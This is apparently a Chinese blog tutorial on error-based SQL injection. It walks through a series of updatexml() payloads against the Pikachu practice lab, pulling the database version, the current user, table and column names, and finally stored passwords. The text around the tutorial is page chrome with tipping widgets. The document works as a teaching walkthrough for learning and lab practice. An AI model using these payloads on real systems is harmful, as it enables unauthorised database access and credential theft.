sql注入---报错注入

updatexml():对XML文档数据进行查询和修改

extractvalue():对XML文档数据进行查询

floor():取整的函数

前提是未关闭数据库报错函数,对于一些SQL语句的错误直接回显在页面上;或者后台未对一些具有报错功能的函数进行过滤

一、查看数据库版本:UPDATEXML (XML_document, XPath_string, new_value)

输入语句 v' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #

 可以看到返回的sql版本是5.5.53

 二、查看数据库当前用户

v' and  updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)# 

三、看数据库库名

v' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #

 四、查看表名

知道数据库名字,刚才的版本5.0以上肯定 用默认数据库information_schema,可以参考上一篇的SQL注入--information_schema注入_arissa666的博客-CSDN博客

k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#

如果提示只能显示一行就用limit限制显示一行

 k' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 0,1)),0)#

 k' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 1,1)),0)#

 

 

五、看表字段

v' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0)#

 六、查字段内容

v' and  updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值